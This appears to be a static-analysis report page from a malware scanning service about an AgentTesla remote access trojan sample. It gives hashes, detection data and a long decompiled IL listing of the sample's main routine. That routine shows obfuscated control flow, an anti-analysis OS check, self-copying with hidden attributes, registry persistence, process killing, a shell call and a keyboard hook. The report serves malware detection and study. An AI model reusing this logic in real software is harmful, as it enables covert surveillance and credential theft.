Malicious
Malicious

07f984a3364c72a824c8273ac2c546e3

Share on LinkedIn
Print
PE Executable
MD5: 07f984a3364c72a824c8273ac2c546e3
Size: 345.6 KB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

This sample is a 337.5 KB PE Executable identified by Malva.RE as AgentTesla (rat). Static analysis extracted 5 embedded or derived files. It matches 9 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
4489a0ba9a126a7648e65e80afd8b2f61807eb7ab582aed3e42e818d69e8c134
MD5
07f984a3364c72a824c8273ac2c546e3
Verdict
Malicious
File type
PE Executable · 337.5 KB
Family
AgentTesla
Category
RAT

Cite this report: https://app.malva.re/sha256/4489a0ba9a126a7648e65e80afd8b2f61807eb7ab582aed3e42e818d69e8c134

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
345.6 KB · 345,600 B
First seen
2026-10-28 18:30 · 2 hours ago
Last seen
2026-10-28 18:30 · 2 hours ago
Last analysis
2026-10-28 18:30 · 2 hours ago
Hashes
MD5 07f984a3364c72a824c8273ac2c546e3 Sha1 14454192fd32646a57c8953f78691319589814a0 Sha256 4489a0ba9a126a7648e65e80afd8b2f61807eb7ab582aed3e42e818d69e8c134 Sha384 87606ebb27220335f91b17761ce76aa16379a7288e261f5696461c0e0af7f216d35fa7c5d59aea3c5749218f82963289 Sha512 713f1852f867079d6e798776419395cdda1f09c33ad915e462ea25e6b792ac8ab16bcdca8c6d0423e4f17c6dc978bebcc2d57cbe0004af980a7f82217f9b0a0f SSDeep 6144:KdVHjzX3IjE7oxFUOuJYma9+aSkpHqBgNndIFlHvXeePCGyTWLabi:QDzX3YeOLZHfelPeeKp TLSH DE742AAE2B48B912F93D5D314BF252201EB1D0835552D38F6EE40FED6F427D92C6A287
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Low

1 malicious · 6 files
EXE07f984a3364c72a824c8273ac2c546e3AgentTesla
Structure
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
3 / 3
Path pe:exe>pe:dll>pe:rsrc>bin
Shape pe:exe>pe:dll>pe:rsrc>bin
malicious 4 nodes
Path pe:exe>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
malicious 3 nodes

Name Value
Module Name
RFNVAEIEWXXQQDJCFBLLMIJCDRFULNFYVXBRDNWG_20190722054541603.exe
Full Name
RFNVAEIEWXXQQDJCFBLLMIJCDRFULNFYVXBRDNWG_20190722054541603.exe
EntryPoint
System.Void afg::agu()
Scope Name
RFNVAEIEWXXQQDJCFBLLMIJCDRFULNFYVXBRDNWG_20190722054541603.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
RFNVAEIEWXXQQDJCFBLLMIJCDRFULNFYVXBRDNWG_20190722054541603
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
354
Main Method
System.Void afg::agu()
Main IL Instruction Count
826
Main IL 
ldc.i4.s 15
ldc.i4.1 <null>
call System.Boolean afg::agp(System.Int32,System.Int32)
brfalse IL_0092: call System.Object afg::ajo()
ldc.i4 -1105234857
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 6
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_00B2: call My.fz My.hj::get_Computer()
call System.Void System.Windows.Forms.Application::Exit()
ldloc V_27
ldc.i4 1810771876
mul <null>
ldc.i4 -896260937
xor <null>
br IL_0012: ldc.i4 -277921310
call System.Void afg::amv()
ldsfld System.Boolean afg::cgp
brfalse IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
ldc.i4 -2130872179
br IL_0012: ldc.i4 -277921310
call System.Void System.Windows.Forms.Application::Exit()
ldloc V_27
ldc.i4 540449072
mul <null>
ldc.i4 -1902665662
xor <null>
br IL_0012: ldc.i4 -277921310
call System.Object afg::ajo()
ldc.i4.1 <null>
box System.Boolean
ldc.i4.0 <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Operators::ConditionalCompareObjectEqual(System.Object,System.Object,System.Boolean)
brfalse IL_005F: call System.Void afg::amv()
ldc.i4 -1698414580
br IL_0012: ldc.i4 -277921310
call My.fz My.hj::get_Computer()
callvirt Microsoft.VisualBasic.Devices.ComputerInfo Microsoft.VisualBasic.Devices.ServerComputer::get_Info()
callvirt System.String Microsoft.VisualBasic.Devices.ComputerInfo::get_OSFullName()
stloc.s V_4
ldloc.s V_4
ldc.i4 108224
call System.String <Module>::(System.Int32)
callvirt System.Boolean System.String::Contains(System.String)
ldloc.s V_4
ldc.i4 108188
call System.String <Module>::(System.Int32)
callvirt System.Boolean System.String::Contains(System.String)
or <null>
ldloc.s V_4
ldc.i4 108168
call System.String <Module>::(System.Int32)
callvirt System.Boolean System.String::Contains(System.String)
or <null>
brfalse IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
call System.String System.IO.Path::GetTempPath()
ldc.i4 108292
call System.String <Module>::(System.Int32)
call System.String System.String::Concat(System.String,System.String)
stloc.s V_5
call System.Object afg::afo()
ldc.i4.0 <null>
box System.Boolean
ldc.i4.0 <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Operators::ConditionalCompareObjectEqual(System.Object,System.Object,System.Boolean)
brfalse IL_01DF: ldloc.s V_5
ldc.i4 -1424095007
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 14
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_02BE: leave IL_02D5
ldloc V_27
ldc.i4 -2031622660
mul <null>
ldc.i4 -1513396613
xor <null>
br IL_012E: ldc.i4 -277921310
call System.Void afg::afm()
ldc.i4 -1885535733
br IL_012E: ldc.i4 -277921310
call System.Void afg::afk()
ldloc V_27
ldc.i4 -1662378254
mul <null>
ldc.i4 1140456930
xor <null>
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
call System.String System.IO.File::ReadAllText(System.String)
stloc.s V_6
ldloc.s V_6
call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String)
ldc.i4.3 <null>
bgt IL_02BE: leave IL_02D5
ldc.i4 -132776516
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
call System.Void System.IO.File::Delete(System.String)
ldc.i4 -790630750
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_0270: ldloc.s V_5
ldloc V_27
ldc.i4 -262641592
mul <null>
ldc.i4 -1049630955
xor <null>
br IL_012E: ldc.i4 -277921310
leave IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
ldc.i4 -463937368
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
ldloc.s V_7
ldc.i4.1 <null>
add.ovf <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Int32)
call System.Void System.IO.File::WriteAllText(System.String,System.String)
ldloc V_27
ldc.i4 -1356937774
mul <null>
ldc.i4 -606653122
xor <null>
br IL_012E: ldc.i4 -277921310
ldloc.s V_4
ldc.i4 108272
call System.String <Module>::(System.Int32)
callvirt System.Boolean System.String::Contains(System.String)
brfalse IL_0196: call System.Void afg::afm()
ldloc V_27
ldc.i4 964570233
mul <null>
ldc.i4 1901194254
xor <null>
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
ldstr 1
call System.Void System.IO.File::WriteAllText(System.String,System.String)
ldc.i4 -840414313
br IL_012E: ldc.i4 -277921310
ldloc V_27
ldc.i4 391432922
mul <null>
ldc.i4 559040595
xor <null>
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
call System.String System.IO.File::ReadAllText(System.String)
call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String)
stloc.s V_7
ldloc V_27
ldc.i4 1189865177
mul <null>
ldc.i4 -1905337098
xor <null>
br IL_012E: ldc.i4 -277921310
leave IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
newobj System.Void System.Timers.Timer::.ctor()
stloc.0 <null>
ldc.i4 -536043048
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 9
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0455: ldc.i4 108576
ldsfld System.Boolean afg::cgk
brfalse IL_084A: ldsfld System.String afg::cgj
ldloc V_27
ldc.i4 -543662738
mul <null>
ldc.i4 -181445337
xor <null>
br IL_02E0: ldc.i4 -277921310
call System.Void afg::bcr()
ldloc V_27
ldc.i4 -460165248
mul <null>
ldc.i4 1878265450
xor <null>
br IL_02E0: ldc.i4 -277921310
ldc.i4 108600
call System.String <Module>::(System.Int32)
call System.String System.Environment::GetEnvironmentVariable(System.String)
ldc.i4 108596
call System.String <Module>::(System.Int32)
call System.String System.String::Concat(System.String,System.String)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue IL_0479: ldsfld System.String afg::cgj
ldloc V_27
ldc.i4 955794310
mul <null>
ldc.i4 1699461782
xor <null>
br IL_02E0: ldc.i4 -277921310
ldloc.0 <null>
ldnull <null>
ldftn System.Void afg::bcg(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc.0 <null>
ldc.r8 5000
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.0 <null>
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
ldc.i4 30000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String afg::cfr
ldc.i4 108236
call System.String <Module>::(System.Int32)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_03F7: call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc V_27
ldc.i4 -2131554243
mul <null>
ldc.i4 1206407918
xor <null>
br IL_02E0: ldc.i4 -277921310
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
stsfld System.String afg::cgo
ldc.i4 -461108780
br IL_02E0: ldc.i4 -277921310
ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
beq IL_084A: ldsfld System.String afg::cgj
ldloc V_27
ldc.i4 -205347320
mul <null>
ldc.i4 56783756
xor <null>
br IL_02E0: ldc.i4 -277921310
call System.Void afg::bdh()
ldloc V_27
ldc.i4 1096761543
mul <null>
ldc.i4 -1547145893
xor <null>
br IL_02E0: ldc.i4 -277921310
ldc.i4 108576
call System.String <Module>::(System.Int32)
call System.String System.Environment::GetEnvironmentVariable(System.String)
ldc.i4 108668
call System.String <Module>::(System.Int32)
call System.String System.String::Concat(System.String,System.String)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldsfld System.String afg::cgj
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_0591: ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
call System.String System.IO.Path::GetFullPath(System.String)
stloc.s V_9
ldc.i4 -430708947
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 8
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_057D: leave IL_0591
ldloc.s V_24
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_24
ldc.i4 -726152110
br IL_0499: ldc.i4 -277921310
ldloc.s V_24
ldloc.s V_25
ldlen <null>
conv.ovf.i4 <null>
blt IL_0531: ldloc.s V_25
ldc.i4 -1782838877
br IL_0499: ldc.i4 -277921310
call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcesses()
stloc.s V_25
ldloc V_27
ldc.i4 1300458418
mul <null>
ldc.i4 -357075258
xor <null>
br IL_0499: ldc.i4 -277921310
ldloc.s V_11
callvirt System.Void System.Diagnostics.Process::Kill()
ldloc V_27
ldc.i4 -665242504
mul <null>
ldc.i4 467910006
xor <null>
br IL_0499: ldc.i4 -277921310
ldloc.s V_25
ldloc.s V_24
ldelem.ref <null>
stloc.s V_11
ldloc.s V_11
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
call System.String System.IO.Path::GetFullPath(System.String)
stloc.s V_10
ldloc.s V_10
ldloc.s V_9
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_04D4: ldloc.s V_24
ldc.i4 -464859332
br IL_0499: ldc.i4 -277921310
ldc.i4.0 <null>
stloc.s V_24
ldloc V_27
ldc.i4 -2029611917
mul <null>
ldc.i4 -554853396
xor <null>
br IL_0499: ldc.i4 -277921310
leave IL_0591: ldsfld System.String afg::cgo
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0591: ldsfld System.String afg::cgo
ldsfld System.String afg::cgo
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_064F: leave IL_0663
ldsfld System.String afg::cgj
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_05D0: ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
call System.Void System.IO.File::Delete(System.String)
leave IL_05D0: ldsfld System.String afg::cgo
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_12
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_05D0: ldsfld System.String afg::cgo
ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
ldc.i4.1 <null>
call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean)
ldc.i4 -1635132435
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 4
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_064F: leave IL_0663
ldsfld System.Boolean afg::cgl
brfalse IL_064F: leave IL_0663
ldloc V_27
ldc.i4 222517604
mul <null>
ldc.i4 315643808
xor <null>
br IL_05E5: ldc.i4 -277921310
ldsfld System.String afg::cgj
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc V_27
ldc.i4 -1123378745
mul <null>
ldc.i4 35959685
xor <null>
br IL_05E5: ldc.i4 -277921310
leave IL_0663: ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0663: ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldc.i4 108648
call System.String <Module>::(System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_13
ldc.i4 -1378517573
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 12
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0836: leave IL_084A
ldloc.s V_26
ldc.i4.0 <null>
ldc.i4.2 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.1 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.2 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 -738935881
mul <null>
ldc.i4 -1908173985
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.7 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 1656417478
mul <null>
ldc.i4 -1400691022
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_13
ldc.i4 108644
call System.String <Module>::(System.Int32)
ldsfld System.String afg::cgj
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldc.i4 108624
call System.String <Module>::(System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_14
ldloc.s V_14
brfalse IL_0836: leave IL_084A
ldloc V_27
ldc.i4 1050054505
mul <null>
ldc.i4 -466853108
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.3 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.4 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.5 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 765820947
mul <null>
ldc.i4 853189038
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.s 11
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
stloc.s V_15
ldloc.s V_14
ldc.i4 108460
call System.String <Module>::(System.Int32)
ldloc.s V_15
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
ldloc V_27
ldc.i4 -2002133236
mul <null>
ldc.i4 1569837072
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.s 10
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 -1124610043
mul <null>
ldc.i4 -1039156524
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.8 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.s 9
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 1681811160
mul <null>
ldc.i4 316749131
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.6 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 -1802630974
mul <null>
ldc.i4 -1707449662
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_14
callvirt System.Void Microsoft.Win32.RegistryKey::Close()
ldloc V_27
ldc.i4 -2023612618
mul <null>
ldc.i4 2001739278
xor <null>
br IL_067F: ldc.i4 -277921310
ldc.i4.s 12
newarr System.Byte
stloc.s V_26
ldloc V_27
ldc.i4 1775422655
mul <null>
ldc.i4 1367585287
xor <null>
br IL_067F: ldc.i4 -277921310
leave IL_084A: ldsfld System.String afg::cgj
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_084A: ldsfld System.String afg::cgj
ldsfld System.String afg::cgj
call System.Void afg::bkx(System.String)
ldsfld System.Boolean afg::cgn
brfalse IL_08D6: ldsfld System.Boolean afg::cgm
ldc.i4 -1022865902
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 22
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0BF5: newobj System.Void System.Timers.Timer::.ctor()
ldsfld System.Boolean afg::cgm
brfalse IL_08EA: ldsfld System.Boolean afg::cfs
ldc.i4 -991284775
br IL_0863: ldc.i4 -277921310
ldsfld System.Boolean afg::cfs
brfalse IL_0A0E: ldnull
ldc.i4 -1081944894
br IL_0863: ldc.i4 -277921310
ldc.i4 108440
call System.String <Module>::(System.Int32)
ldc.i4.2 <null>
ldc.i4.0 <null>
ldc.i4.m1 <null>
call System.Int32 Microsoft.VisualBasic.Interaction::Shell(System.String,Microsoft.VisualBasic.AppWinStyle,System.Boolean,System.Int32)
pop <null>
ldloc V_27
ldc.i4 2008497331
mul <null>
ldc.i4 -767588683
xor <null>
br IL_0863: ldc.i4 -277921310
ldsfld System.String afg::cfr
ldc.i4 108508
call System.String <Module>::(System.Int32)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_09CC: ldsfld System.String afg::cfr
ldc.i4 -1389618020
br IL_0863: ldc.i4 -277921310
call System.Void afg::bly()
ldloc V_27
ldc.i4 115559277
mul <null>
ldc.i4 266409112
xor <null>
br IL_0863: ldc.i4 -277921310
call System.Void afg::bcu()
ldloc V_27
ldc.i4 -921705101
mul <null>
ldc.i4 -1054138553
xor <null>
br IL_0863: ldc.i4 -277921310
ldsfld System.String afg::cfr
ldc.i4 108544
call System.String <Module>::(System.Int32)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_0926: ldsfld System.String afg::cfr
ldc.i4 -781294437
br IL_0863: ldc.i4 -277921310
ldloc.s V_19
ldnull <null>
ldftn System.Void afg::bcq(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc V_27
ldc.i4 -1223063105
mul <null>
ldc.i4 988840809
xor <null>
br IL_0863: ldc.i4 -277921310
ldsfld System.String afg::cfr
ldc.i4 108488
call System.String <Module>::(System.Int32)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_0C27: call System.Void afg::bek()
ldc.i4 -1413405809
br IL_0863: ldc.i4 -277921310
ldloc.s V_16
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc V_27
ldc.i4 -1254355965
mul <null>
ldc.i4 -1948486224
xor <null>
br IL_0863: ldc.i4 -277921310
ldnull <null>
ldftn System.Void afg::bkq()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldloc.1 <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean afg::cfk
brfalse IL_0AD4: ldnull
ldc.i4 -1288542526
br IL_0863: ldc.i4 -277921310
newobj System.Void System.Timers.Timer::.ctor()
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldftn System.Void afg::apt(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc.s V_18
ldc.i4 60000
ldsfld System.String afg::cfo
call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String)
mul.ovf <null>
conv.r8 <null>
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.s V_18
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
ldloc V_27
ldc.i4 1976307036
mul <null>
ldc.i4 214414668
xor <null>
br IL_0863: ldc.i4 -277921310
ldnull <null>
ldftn System.Void afg::bmx()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_16
ldloc V_27
ldc.i4 378702648
mul <null>
ldc.i4 173641677
xor <null>
br IL_0863: ldc.i4 -277921310
ldloc.s V_16
callvirt System.Void System.Threading.Thread::Start()
ldloc V_27
ldc.i4 -1142415067
mul <null>
ldc.i4 2066509524
xor <null>
br IL_0863: ldc.i4 -277921310
ldnull <null>
ldftn System.Void afg::auq()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean afg::cfl
ldc.i4 108436
call System.String <Module>::(System.Int32)
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
bne.un IL_097F: ldsfld System.String afg::cfr
ldc.i4 -1107141406
br IL_0863: ldc.i4 -277921310
newobj System.Void System.Timers.Timer::.ctor()
stloc.s V_17
ldloc.s V_17
ldnull <null>
ldftn System.Void afg::avy(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc V_27
ldc.i4 -1808905439
mul <null>
ldc.i4 1269461648
xor <null>
br IL_0863: ldc.i4 -277921310
ldloc.s V_19
ldc.r8 60000
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.s V_19
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
ldloc V_27
ldc.i4 501221821
mul <null>
ldc.i4 1037470459
xor <null>
br IL_0863: ldc.i4 -277921310
ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
beq IL_08D6: ldsfld System.Boolean afg::cgm
ldloc V_27
ldc.i4 -1015001347
mul <null>
ldc.i4 -1702243615
xor <null>
br IL_0863: ldc.i4 -277921310
ldloc.s V_17
ldc.i4 60000
ldsfld System.String afg::cfn
call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String)
mul.ovf <null>
conv.r8 <null>
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.s V_17
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
ldloc.s V_17
callvirt System.Void System.Timers.Timer::Start()
ldloc V_27
ldc.i4 1100073644
mul <null>
ldc.i4 1633007822
xor <null>
br IL_0863: ldc.i4 -277921310
newobj System.Void System.Timers.Timer::.ctor()
stloc.s V_19
ldloc V_27
ldc.i4 1044269452
mul <null>
ldc.i4 1837171341
xor <null>
br IL_0863: ldc.i4 -277921310
newobj System.Void System.Timers.Timer::.ctor()
stloc.s V_20
ldloc.s V_20
ldnull <null>
ldftn System.Void afg::bcl(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc.s V_20
ldc.r8 300000
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.s V_20
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
call System.Void afg::bek()
leave IL_0C43: newobj System.Void afg/np::.ctor()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_21
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0C43: newobj System.Void afg/np::.ctor()
newobj System.Void afg/np::.ctor()
stloc.3 <null>
ldsfld System.Boolean afg::cfk
brfalse IL_0CA2: call afg/acm afg::get_CH()
ldc.i4 -644390521
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 4
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0CD5: ret
call afg/adm afg::get_kbHook()
callvirt System.Void afg/adm::aer()
ldloc V_27
ldc.i4 -1113492616
mul <null>
ldc.i4 -1420732594
xor <null>
br IL_0C58: ldc.i4 -277921310
call afg/acm afg::get_CH()
callvirt System.Void afg/acm::acw()
ldnull <null>
ldftn System.Void afg::aos()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_23
ldloc.s V_23
callvirt System.Void System.Threading.Thread::Start()
call System.Void System.Windows.Forms.Application::Run()
ldc.i4 -1959537260
br IL_0C58: ldc.i4 -277921310
ret <null>
Module Name
RFNVAEIEWXXQQDJCFBLLMIJCDRFULNFYVXBRDNWG_20190722054541603.exe
Full Name
RFNVAEIEWXXQQDJCFBLLMIJCDRFULNFYVXBRDNWG_20190722054541603.exe
EntryPoint
System.Void afg::agu()
Scope Name
RFNVAEIEWXXQQDJCFBLLMIJCDRFULNFYVXBRDNWG_20190722054541603.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
